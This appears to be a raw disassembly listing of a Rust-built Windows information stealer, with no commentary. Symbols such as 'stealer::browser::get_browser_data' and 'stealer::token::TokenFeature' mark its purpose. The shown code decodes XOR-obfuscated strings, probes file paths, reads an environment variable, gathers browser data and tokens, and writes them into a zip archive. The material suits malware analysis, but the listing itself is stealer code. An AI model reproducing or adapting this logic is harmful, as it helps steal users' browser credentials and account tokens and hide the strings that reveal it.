call sym.obfstr::xref::inner::h61dbf010f74ee686
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov ebx, dword [rax + 0x20]
movzx edi, word [rax + 0x24]
movzx ebp, byte [rax + 0x26]
movzx eax, byte [0x1404a5170]
mov edx, 0x27
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f0d
shl ebp, 0x10
or edi, ebp
mov r8d, edi
shr r8d, 0x10
xor r8b, 0x84
mov ecx, edi
shr ecx, 8
xor cl, 0xf9
xor dil, 0x3f
xor ebx, 0x26427697
movabs rdx, 0xf55d7581477e645b
xor r14, rdx
movabs rdx, 0x5d2ab64f9c93888
xor r15, rdx
movabs rdx, 0x5ff5f9ec2adf3221
xor r12, rdx
movabs rdx, 0x75fe08794fe26280
xor r13, rdx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], ebx
mov byte [rax + 0x24], dil
mov byte [rax + 0x25], cl
mov qword [rsp + 0x430], rax
mov byte [rax + 0x26], r8b
lea rax, [0x1403b7364]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x876331ad
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hdf3c9ef4c1a198c5
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov edi, dword [rax + 0x20]
movzx ebx, byte [rax + 0x24]
movzx eax, byte [0x1404a5170]
mov edx, 0x25
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f49
xor bl, 0xab
xor edi, 0xc9386052
movabs rcx, 0xab15ad4cb7bd9675
xor r14, rcx
movabs rcx, 0x16a534cbdf504aa9
xor r15, rcx
movabs rcx, 0x485d0f52aafe5db6
xor r12, rcx
movabs rcx, 0x3ac9798ab51a1bf8
xor r13, rcx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], edi
mov qword [rsp + 0x428], rax
mov byte [rax + 0x24], bl
lea rax, [0x1403b8171]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xd22f4e4e
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h4e1d2318bb121a56
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov ebx, dword [rax + 0x20]
movzx edi, word [rax + 0x24]
movzx ebp, byte [rax + 0x26]
movzx eax, byte [0x1404a5170]
mov edx, 0x27
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f0d
shl ebp, 0x10
or edi, ebp
mov r8d, edi
shr r8d, 0x10
xor r8b, 0xf3
mov ecx, edi
shr ecx, 8
xor cl, 0x15
xor dil, 0x27
xor ebx, 0xc80c0954
movabs rdx, 0x563cb3f59e198eb2
xor r14, rdx
movabs rdx, 0x9243094723ed59cd
xor r15, rdx
movabs rdx, 0x638b14e657c70b72
xor r12, rdx
movabs rdx, 0x526dbffb0d0d932f
xor r13, rdx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], ebx
mov byte [rax + 0x24], dil
mov byte [rax + 0x25], cl
mov qword [rsp + 0x420], rax
mov byte [rax + 0x26], r8b
lea rax, [0x1403b76d4]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x5dc07e1b
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::he409fe42f84f9785
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
movzx ebp, word [rax + 0x28]
movzx eax, byte [0x1404a5170]
mov edx, 0x2a
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f1c
movabs rcx, 0xc2dfac7431517d84
xor rdi, rcx
movabs rcx, 0x6caae50109f9d858
xor rbx, rcx
movabs rcx, 0x82e4575fc58d5709
xor r14, rcx
movabs rcx, 0x5eacb61e75465258
xor r15, rcx
movabs rcx, 0xe0c4c56c3051bb73
xor r12, rcx
mov ecx, ebp
shr ecx, 8
xor cl, 0xcc
xor bpl, 0x5c
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov byte [rax + 0x28], bpl
mov qword [rsp + 0x418], rax
mov byte [rax + 0x29], cl
lea rax, [0x1403b7e23]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x462f95ea
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hdb2085da93577e5d
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov ebx, dword [rax + 0x20]
movzx edi, word [rax + 0x24]
movzx eax, byte [0x1404a5170]
mov edx, 0x26
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075efe
mov edx, edi
shr edx, 8
xor dl, 0xf8
xor dil, 0x93
xor ebx, 0x97c80dcb
movabs rcx, 0x5594b9fe69931b43
xor r14, rcx
movabs rcx, 0x65686b25893b6980
xor r15, rcx
movabs rcx, 0x2f36e18957316cd
xor r12, rcx
movabs rcx, 0x53e7e13c70d21eb
xor r13, rcx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], ebx
mov byte [rax + 0x24], dil
mov qword [rsp + 0x410], rax
mov byte [rax + 0x25], dl
lea rax, [0x1403ba11e]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x688a9727
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hbc636fe0d196632a
mov rbp, qword [rax]
mov r13, qword [rax + 8]
mov r12, qword [rax + 0x10]
mov r15, qword [rax + 0x18]
mov r14, qword [rax + 0x20]
mov edi, dword [rax + 0x28]
movzx ebx, byte [rax + 0x2c]
movzx eax, byte [0x1404a5170]
mov edx, 0x2d
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x1400760ba
xor edi, 0xeb06a19a
movabs rcx, 0x4da10cc6518b51de
xor r14, rcx
movabs rcx, 0xc2a0304ab12d7e7b
xor r15, rcx
movabs rcx, 0x10aafae02e649857
xor r12, rcx
movabs rcx, 0x37670551a866d264
xor r13, rcx
movabs rcx, 0xced3b2a73e70c9e1
xor rbp, rcx
mov qword [rax], rbp
mov qword [rax + 8], r13
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r14
mov dword [rax + 0x28], edi
mov qword [rsp + 0x408], rax
mov byte [rax + 0x2c], bl
lea rax, [0x1403b7488]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xe10c2d50
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h5d0dd017032354ff
mov r13, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
movzx edi, word [rax + 0x20]
movzx ebp, byte [rax + 0x22]
movzx eax, byte [0x1404a5170]
mov edx, 0x23
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f58
shl ebp, 0x10
or edi, ebp
mov r8d, edi
shr r8d, 0x10
xor r8b, 0x56
mov ecx, edi
shr ecx, 8
xor cl, 0x7b
xor dil, 0xb6
movabs rdx, 0x69ee89100348c6d9
xor rbx, rdx
movabs rdx, 0xc9d3e3225dc732ab
xor r14, rdx
movabs rdx, 0x28b7a5cc6814f735
xor r15, rdx
movabs rdx, 0xfe97285bbfdd449c
xor r13, rdx
mov qword [rax], r13
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rbx
mov byte [rax + 0x20], dil
mov byte [rax + 0x21], cl
mov qword [rsp + 0x400], rax
mov byte [rax + 0x22], r8b
lea rax, [0x1403ba742]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x418acc0d
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h0fe933f763c44458
mov r15, qword [rax]
mov r14, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov rdi, qword [rax + 0x18]
movzx eax, byte [0x1404a5170]
mov edx, 0x20
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f3a
movabs rcx, 0x20218df0dc1c3e1f
xor rdi, rcx
movabs rcx, 0x695a36313d426c77
xor rbx, rcx
movabs rcx, 0x44183f6d79156c8f
xor r14, rcx
movabs rcx, 0xc87b363194532cf7
xor r15, rcx
mov qword [rax], r15
mov qword [rax + 8], r14
mov qword [rax + 0x10], rbx
mov qword [rsp + 0x3f8], rax
mov qword [rax + 0x18], rdi
lea rax, [0x1403b4e4f]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x6416312
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h89b5ac0edfee1ebf
mov rbx, qword [rax]
mov r14, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov r13, qword [rax + 0x18]
movzx r15d, word [rax + 0x20]
movzx r12d, byte [rax + 0x22]
movzx eax, byte [0x1404a5170]
xor ebp, ebp
mov edx, 0x23
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f58
shl r12d, 0x10
or r15d, r12d
movabs rcx, 0xf8964c8ae3a9510e
xor r13, rcx
movabs rcx, 0x67c3831e1b163636
xor rdi, rcx
movabs rcx, 0xe73a924f489c8b54
xor r14, rcx
movabs rcx, 0xe4eca93179d2bc3b
xor rbx, rcx
mov qword [rax], rbx
mov qword [rax + 8], r14
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r13
mov ecx, r15d
mov edx, r15d
xor r15b, 0x29
mov byte [rax + 0x20], r15b
shr edx, 8
xor dl, 0x95
mov byte [rax + 0x21], dl
shr ecx, 0x10
xor cl, 0xe5
mov byte [rax + 0x22], cl
mov qword [rsi], 0x27
mov rcx, qword [rsp + 0xe0]
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], 0x27
mov qword [rsi + 0x18], 0x26
mov rcx, qword [rsp + 0xe8]
mov qword [rsi + 0x20], rcx
mov qword [rsi + 0x28], 0x26
mov qword [rsi + 0x30], 0x25
mov rcx, qword [rsp + 0x1c8]
mov qword [rsi + 0x38], rcx
mov qword [rsi + 0x40], 0x25
mov qword [rsi + 0x48], 0x27
mov rcx, qword [rsp + 0x320]
mov qword [rsi + 0x50], rcx
mov qword [rsi + 0x58], 0x27
mov qword [rsi + 0x60], 0x26
mov rcx, qword [rsp + 0x3a8]
mov qword [rsi + 0x68], rcx
mov qword [rsi + 0x70], 0x26
mov qword [rsi + 0x78], 0x24
mov rcx, qword [rsp + 0x3a0]
mov qword [rsi + 0x80], rcx
mov qword [rsi + 0x88], 0x24
mov qword [rsi + 0x90], 0x2a
mov rcx, qword [rsp + 0x398]
mov qword [rsi + 0x98], rcx
mov qword [rsi + 0xa0], 0x2a
mov qword [rsi + 0xa8], 0x28
mov rcx, qword [rsp + 0x1d8]
mov qword [rsi + 0xb0], rcx
mov qword [rsi + 0xb8], 0x28
mov qword [rsi + 0xc0], 0x26
mov rcx, qword [rsp + 0x1c0]
mov qword [rsi + 0xc8], rcx
mov qword [rsi + 0xd0], 0x26
mov qword [rsi + 0xd8], 0x2b
mov rcx, qword [rsp + 0x318]
mov qword [rsi + 0xe0], rcx
mov qword [rsi + 0xe8], 0x2b
mov qword [rsi + 0xf0], 0x26
mov rcx, qword [rsp + 0x310]
mov qword [rsi + 0xf8], rcx
mov qword [rsi + 0x100], 0x26
mov qword [rsi + 0x108], 0x2a
mov rcx, qword [rsp + 0x308]
mov qword [rsi + 0x110], rcx
mov qword [rsi + 0x118], 0x2a
mov qword [rsi + 0x120], 0x2a
mov rcx, qword [rsp + 0x488]
mov qword [rsi + 0x128], rcx
mov qword [rsi + 0x130], 0x2a
mov qword [rsi + 0x138], 0x2e
mov rcx, qword [rsp + 0x480]
mov qword [rsi + 0x140], rcx
mov qword [rsi + 0x148], 0x2e
mov qword [rsi + 0x150], 0x26
mov rcx, qword [rsp + 0x478]
mov qword [rsi + 0x158], rcx
mov qword [rsi + 0x160], 0x26
mov qword [rsi + 0x168], 0x29
mov rcx, qword [rsp + 0x470]
mov qword [rsi + 0x170], rcx
mov qword [rsi + 0x178], 0x29
mov qword [rsi + 0x180], 0x29
mov rcx, qword [rsp + 0x468]
mov qword [rsi + 0x188], rcx
mov qword [rsi + 0x190], 0x29
mov qword [rsi + 0x198], 0x26
mov rcx, qword [rsp + 0x460]
mov qword [rsi + 0x1a0], rcx
mov qword [rsi + 0x1a8], 0x26
mov qword [rsi + 0x1b0], 0x29
mov rcx, qword [rsp + 0x448]
mov qword [rsi + 0x1b8], rcx
mov qword [rsi + 0x1c0], 0x29
mov qword [rsi + 0x1c8], 0x20
mov rcx, qword [rsp + 0x458]
mov qword [rsi + 0x1d0], rcx
mov qword [rsi + 0x1d8], 0x20
mov qword [rsi + 0x1e0], 0x20
mov rcx, qword [rsp + 0x450]
mov qword [rsi + 0x1e8], rcx
mov qword [rsi + 0x1f0], 0x20
mov qword [rsi + 0x1f8], 0x21
mov rcx, qword [rsp + 0x440]
mov qword [rsi + 0x200], rcx
mov qword [rsi + 0x208], 0x21
mov qword [rsi + 0x210], 0x1f
mov rcx, qword [rsp + 0x438]
mov qword [rsi + 0x218], rcx
mov qword [rsi + 0x220], 0x1f
mov qword [rsi + 0x228], 0x27
mov rcx, qword [rsp + 0x430]
mov qword [rsi + 0x230], rcx
mov qword [rsi + 0x238], 0x27
mov qword [rsi + 0x240], 0x25
mov rcx, qword [rsp + 0x428]
mov qword [rsi + 0x248], rcx
mov qword [rsi + 0x250], 0x25
mov qword [rsi + 0x258], 0x27
mov rcx, qword [rsp + 0x420]
mov qword [rsi + 0x260], rcx
mov qword [rsi + 0x268], 0x27
mov qword [rsi + 0x270], 0x2a
mov rcx, qword [rsp + 0x418]
mov qword [rsi + 0x278], rcx
mov qword [rsi + 0x280], 0x2a
mov qword [rsi + 0x288], 0x26
mov rcx, qword [rsp + 0x410]
mov qword [rsi + 0x290], rcx
mov qword [rsi + 0x298], 0x26
mov qword [rsi + 0x2a0], 0x2d
mov rcx, qword [rsp + 0x408]
mov qword [rsi + 0x2a8], rcx
mov qword [rsi + 0x2b0], 0x2d
mov qword [rsi + 0x2b8], 0x23
mov rcx, qword [rsp + 0x400]
mov qword [rsi + 0x2c0], rcx
mov qword [rsi + 0x2c8], 0x23
mov qword [rsi + 0x2d0], 0x20
mov rcx, qword [rsp + 0x3f8]
mov qword [rsi + 0x2d8], rcx
mov qword [rsi + 0x2e0], 0x20
mov qword [rsi + 0x2e8], 0x23
mov qword [rsi + 0x2f0], rax
mov qword [rsi + 0x2f8], 0x23
mov r15d, 0x10
lea rdi, [rsp + 0x30]
jmp 0x140072b7f
inc ebp
add r15, 0x18
cmp r15, 0x310
je 0x140072bfa
mov rdx, qword [rsi + r15 - 8]
mov r8, qword [rsi + r15]
mov rcx, rdi
call sym.std::sys::pal::windows::fs::stat::hb4d86dbde420c37b
cmp dword [rsp + 0x30], 2
jne 0x140072b70
mov rbx, qword [rsp + 0x38]
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x140072b72
mov r14, qword [rbx - 1]
mov r12, qword [rbx + 7]
mov rax, qword [r12]
test rax, rax
je 0x140072bbc
mov rcx, r14
call rax
cmp qword [r12 + 8], 0
je 0x140072be1
cmp qword [r12 + 0x10], 0x11
jb 0x140072bd0
mov r14, qword [r14 - 8]
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, r14
call fcn.14021a7bc
dec rbx
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rbx
call fcn.14021a7bc
jmp 0x140072b72
test ebp, ebp
jne 0x1400760c9
mov edi, 8
jmp 0x140072c1d
add rdi, 0x18
cmp rdi, 0x308
je 0x140072c39
cmp qword [rsi + rdi - 8], 0
je 0x140072c10
mov r8, qword [rsi + rdi]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
jmp 0x140072c10
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rsi
call fcn.14021a7bc
lea rax, [0x1403af8b0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xe089b75a
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h992785c700b1e41c
mov rax, qword [rax]
movabs rcx, 0x22b8a33617f8711b
xor rax, rcx
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xf0]
mov r8d, 8
call sym.std::env::_var_os::hfdaca986d527d091
mov r15, qword [rsp + 0x30]
movabs rax, 0x8000000000000000
cmp r15, rax
je 0x14007611a
mov rsi, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
mov rdx, rsi
call sym.core::str::converts::from_utf8::h7e3ffe505e8498fd
cmp qword [rsp + 0x30], 0
jne 0x140076126
mov rbx, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
test rdi, rdi
je 0x140072dda
js 0x140075f67
movzx eax, byte [0x1404a5170]
xor ecx, ecx
mov rdx, rdi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075ed8
mov r14, rax
mov r12, rdi
jmp 0x140072de3
test r12, r12
je 0x14006febe
movzx eax, byte [rsp + 0x4f]
shl eax, 0x10
movzx ecx, word [rsp + 0x4d]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x49]
or rax, rcx
lea rcx, [rdi + r12]
mov r8, rdi
jmp 0x140072d6c
add r8, 2
cmp rdx, rcx
cmovne rdx, r8
nop word cs:[rax + rax]
mov r8, rdx
cmp rdx, rcx
je 0x14006febe
lea rdx, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
jns 0x140072d60
cmp r9b, 0xe0
jb 0x140072d46
cmp r9b, 0xed
jne 0x140072daf
cmp rdx, rcx
je 0x14006febe
lea rdx, [r8 + 2]
cmp rdx, rcx
je 0x14006febe
cmp byte [r8 + 1], 0x9f
ja 0x140076298
add r8, 3
mov rdx, r8
jmp 0x140072d60
add r8, 2
cmp rdx, rcx
cmove r8, rdx
xor edx, edx
cmp r8, rcx
setne dl
add rdx, r8
cmp r9b, 0xf0
jb 0x140072d60
xor r8d, r8d
cmp rdx, rcx
setne r8b
add rdx, r8
jmp 0x140072d60
mov r14d, 1
xor r12d, r12d
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call sym.memcpy
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 8
mov qword [rsp + 0x58], 0
test r15, r15
je 0x140072e31
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rsi
call fcn.14021a7bc
lea rcx, [rsp + 0x180]
call sym.hello::feature::impl::stealer::browser::get_browser_data::hdbc96e9f16f3d839
mov rbx, qword [rsp + 0x180]
mov rsi, qword [rsp + 0x188]
mov rax, qword [rsp + 0x190]
lea r15, [rax + rax*2]
shl r15, 4
add r15, rsi
mov r14, rsi
test rax, rax
je 0x140072f35
lea rdi, [rsp + 0x48]
lea r14, [rsi + 0x30]
jmp 0x140072ed8
mov rax, qword [rsp + 0x50]
lea rcx, [rbp*2]
add rcx, rbp
shl rcx, 4
mov qword [rax + rcx], r13
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [rax + rcx + 8], xmm0
movups xmmword [rax + rcx + 0x18], xmm1
mov rdx, qword [rsp + 0x110]
mov qword [rax + rcx + 0x28], rdx
inc rbp
mov qword [rsp + 0x58], rbp
add r14, 0x30
add r12, 0x30
cmp r12, r15
je 0x140072f9c
mov r13, qword [r14 - 0x30]
movabs rax, 0x8000000000000000
cmp r13, rax
je 0x140072f35
lea r12, [r14 - 0x30]
mov rax, qword [r12 + 0x28]
mov qword [rsp + 0x110], rax
movups xmm0, xmmword [r12 + 8]
movups xmm1, xmmword [r12 + 0x18]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
mov rbp, qword [rsp + 0x58]
cmp rbp, qword [rsp + 0x48]
jne 0x140072e80
mov rcx, rdi
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h1c9c6442661ae229
jmp 0x140072e80
mov rax, r15
sub rax, r14
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r15, r14
je 0x140072f9c
mov rdi, rdx
shr rdi, 5
add r14, 0x20
jmp 0x140072f69
add r14, 0x30
dec rdi
je 0x140072f9c
cmp qword [r14 - 0x20], 0
je 0x140072f82
mov r8, qword [r14 - 0x18]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [r14 - 8], 0
je 0x140072f60
mov r8, qword [r14]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
jmp 0x140072f60
test rbx, rbx
je 0x140072fb2
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rsi
call fcn.14021a7bc
lea rcx, [rsp + 0x30]
call sym.__hello::feature::impl::stealer::token::TokenFeature_as_hello::feature::Feature_::handle::h2fa30d2e8c49e934
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1c0], rax
mov rdi, qword [rsp + 0x58]
mov qword [rsp + 0x180], 0
mov qword [rsp + 0x188], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x190], xmm0
mov rax, qword [0x1404a5138]
test rax, rax
movabs rsi, 0x8000000000000000
je 0x140073055
test al, 2
je 0x140073045
mov rax, qword [0x1404a5138]
test rax, rax
je 0x140073060
test eax, 0x400
jne 0x14007306c
lea rax, [rsp + 0x158]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
jmp 0x140073084
call sym.std_detect::detect::cache::detect_and_initialize::hfe122b35fe975782
test al, 2
jne 0x140073032
jmp 0x140073045
call sym.std_detect::detect::cache::detect_and_initialize::hfe122b35fe975782
test eax, 0x400
je 0x140073045
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x160], 0
lea rax, [rsi + 1]
mov qword [rsp + 0x320], rax
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 8
xorps xmm6, xmm6
movups xmmword [rsp + 0x100], xmm6
movups xmmword [rsp + 0x168], xmm6
mov dword [rsp + 0x178], 0
mov qword [rsp + 0x110], 1
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call sub.kernel32.dll_GetSystemTimeAsFileTime
mov r9d, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x34]
shl rcx, 0x20
or rcx, r9
movabs r8, 0xd6bf94d5e57a42bd
mov rax, rcx
imul r8
add rdx, rcx
mov rax, rdx
shr rax, 0x3f
shr rdx, 0x17
add edx, eax
imul eax, edx, 0x989680
sub r9d, eax
imul eax, r9d, 0x64
cmp eax, 0x3b9aca00
jae 0x140076132
movabs rax, 0xfe624e212ac18000
add rcx, rax
mov rax, rcx
imul r8
add rdx, rcx
mov rax, rdx
shr rax, 0x3f
sar rdx, 0x17
add rdx, rax
imul rax, rdx, 0x989680
movabs rcx, 0x19db1ded53e8000
add rcx, rax
mov qword [rsp + 0x280], rcx
movaps xmmword [rsp + 0x250], xmm6
movaps xmmword [rsp + 0x2b0], xmm6
lea rcx, [rsp + 0x280]
lea rdx, [rsp + 0x250]
call sub.kernel32.dll_FileTimeToSystemTime
test eax, eax
je 0x14007614a
mov qword [rsp + 0x1d8], rdi
lea rdx, [rsp + 0x250]
lea r8, [rsp + 0x2b0]
xor ecx, ecx
call sub.kernel32.dll_SystemTimeToTzSpecificLocalTime
test eax, eax
je 0x1400761bb
movzx r15d, word [rsp + 0x2bc]
movzx ebx, word [rsp + 0x2b8]
movzx ebp, word [rsp + 0x2ba]
movzx esi, word [rsp + 0x2b6]
movzx edi, word [rsp + 0x2b2]
mov eax, 0xfffff894
add eax, dword [rsp + 0x2b0]
movzx r14d, ax
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x2b0]
lea rdx, [rsp + 0x30]
call sub.kernel32.dll_SystemTimeToFileTime
xorps xmm0, xmm0
movups xmmword [rsp + 0xcc], xmm0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call sub.kernel32.dll_GetTimeZoneInformation
lea eax, [r14 - 0x50]
mov ecx, 0x10107bc
mov qword [rsp + 0x1c8], rcx
cmp eax, 0x7f
ja 0x140073301
dec edi
cmp di, 0xb
ja 0x140073301
lea eax, [rsi - 1]
cmp eax, 0x1e
ja 0x140073301
cmp bx, 0x17
ja 0x140073301
cmp bp, 0x3b
ja 0x140073301
cmp r15w, 0x3c
ja 0x140073301
movzx r8d, r15w
movzx eax, bp
movzx ecx, bx
shl edi, 0x10
lea edx, [rdi + r14]
add edx, 0x1076c
shl esi, 0x18
or esi, edx
shl rcx, 0x20
or rcx, rsi
shl rax, 0x28
shl r8, 0x30
or r8, rax
or r8, rcx
mov qword [rsp + 0x1c8], r8
cmp qword [rsp + 0x1d8], 0
movabs r15, 0x8000000000000000
je 0x1400741ba
mov rax, qword [rsp + 0x1d8]
lea rax, [rax + rax*2]
shl rax, 4
mov r8, qword [rsp + 0x1c0]
add rax, r8
mov qword [rsp + 0x398], rax
movabs rbx, 0x8080808080808080
mov r9, qword [rsp + 0x1c8]
mov eax, r9d
shr eax, 0x18
mov rcx, r9
shr rcx, 0x31
and ecx, 0x7f
mov rdx, r9
shr rdx, 0x23
and edx, 0x1fe0
or edx, ecx
mov rcx, r9
shr rcx, 0x15
and ecx, 0xfffff800
or ecx, edx
mov qword [rsp + 0x3a8], rcx
mov ecx, r9d
shr ecx, 0xb
and ecx, 0x1fe0
or ecx, eax
mov eax, r9d
shl eax, 9
add eax, 0xffff8800
or eax, ecx
mov dword [rsp + 0x3a0], eax
xorps xmm6, xmm6
mov r13, r8
jmp 0x1400733dc
mov ecx, 1
mov rdx, rdi
mov r8, rsi
call sym.memcpy
add r13, 0x30
cmp r13, qword [rsp + 0x398]
movabs rbx, 0x8080808080808080
je 0x1400741ba
mov rsi, qword [r13 + 8]
mov rdi, qword [r13 + 0x10]
mov r14d, 1
test rdi, rdi
je 0x140073412
js 0x140075e45
movzx eax, byte [0x1404a5170]
xor ecx, ecx
mov rdx, rdi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075ed8
mov r14, rax
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call sym.memcpy
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xf0]
call sym.zip::write::ZipWriter_W_::finish_file::he49d0ee3b226bb92
mov rsi, qword [rsp + 0x30]
cmp rsi, 4
jne 0x140075e6e
mov qword [rsp + 0xe0], r14
mov rax, qword [rsp + 0x320]
cmp qword [rsp + 0x120], rax
mov r15, 0xffffffffffffffff
jne 0x140075e56
mov r14, qword [rsp + 0x128]
mov r12, qword [r14 + 0x18]
movaps xmmword [rsp + 0x490], xmm6
movaps xmmword [rsp + 0x4b0], xmm6
mov rbp, r12
add rbp, 4
mov r8, rbp
cmovb r8, r15
movaps xmmword [rsp + 0x4a0], xmm6
mov rax, qword [r14]
mov rdx, qword [r14 + 0x10]
cmp r8, rax
jbe 0x1400734b3
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x140073546
mov r8, r12
sub r8, rdx
jbe 0x1400734d0
add rdx, qword [r14 + 8]
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], r12
mov rdx, r12
